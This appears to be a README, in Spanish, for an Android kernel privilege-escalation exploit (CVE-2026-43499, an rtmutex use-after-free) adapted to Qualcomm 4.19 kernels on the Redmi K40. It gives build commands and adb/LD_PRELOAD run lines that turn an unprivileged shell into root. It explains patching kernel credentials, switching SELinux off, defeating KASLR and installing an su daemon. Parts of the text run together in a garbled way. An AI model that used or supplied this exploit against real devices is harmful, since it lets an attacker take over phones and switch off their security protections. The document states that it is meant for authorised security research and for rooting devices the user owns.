
PoC de LPE para kernel de Android para CVE-2026-43499, un use-after-free de rtmutex en kernels Qualcomm 4.19, adaptado para Redmi K40 con payload de root mediante LD_PRELOAD.
Escalada local de privilegios que explota CVE-2026-43499 — un bug de rtmutex
remove_waiter() que deja un struct rt_mutex_waiter colgando en la pila del
kernel del waiter (kernel/locking/rtmutex.c, CWE-416 use-after-free).
Adaptado de
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) para una familia de kernels de
vendor Qualcomm Android 4.19.x.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() llama a remove_waiter()
que opera sobre current en lugar de waiter->task — dequeue del rb-tree sin
pi_lock, pi_blocked_on colgando, lo que lleva a un UAF en la pila del kernel.
Afectado hasta las versiones corregidas 5.10/5.15/6.1/6.6/6.12/6.18/7.0; 4.19 no
tiene backport (EOL), por lo que 4.19.157-perf está afectado.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file se colocan en los slots de
fops .read/.write (firmas de 4.19), y la primitiva de lectura usa el layout
simplificado de fake-buffer count/page/ppos=0/dev/ashmem) está ausente en este kernel —
longitud de prefijo 0selinux_blob_sizes no existe en 4.19 → cred->security directo
(SELINUX_CRED_BLOB_OFF=0); struct seccomp no tiene filter_countASHMEM_MISC_FOPS = slot miscdevice.fops (ashmem_misc + 0x10)Linux / WSL con Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Salidas: prebuilt/preload.so (payload LD_PRELOAD) y un su_daemon PIE
embebido.
Requiere un shell ADB (basta con un adb shell normal y sin privilegios — el
exploit se ejecuta completamente sin privilegios y se escala a sí mismo).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Variantes opcionales en una línea:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Cada línea pr_* se refleja en disco con un write()+fsync() inmediato para que
el rastro sobreviva a un kernel panic/reinicio:
/sdcard/Download/log_<timestamp>.txt
Rutas de respaldo si /sdcard no está disponible: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Marcadores clave del log:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload cargadoslide-kaslr-ok ... base=... — base de KASLR recuperadapipe-physrw-summary ... root=1 ... — RW físico instaladouid_before=... uid_after=0 ... selinux=1->0 — credenciales parcheadasUNVERIFIED antes de su primer intento — esa
etapa es la que hay que ajustar por dispositivo usando este log.target.h y
se registran como UNVERIFIED en tiempo de ejecución. Itera en el dispositivo
usando el log con fsync.CONFIG_STATIC_USERMODEHELPER=y en esta build deshabilita los trucos de ruta de
modprobe; la ruta principal es el parcheo directo de cred./proc/kallsyms) y /proc/slabinfo antes del despliegue.Apache-2.0 (upstream: NebuSec/CyberMeowfia). Solo para investigación de seguridad y rooting de dispositivos autorizados. Úsalo en hardware de tu propiedad.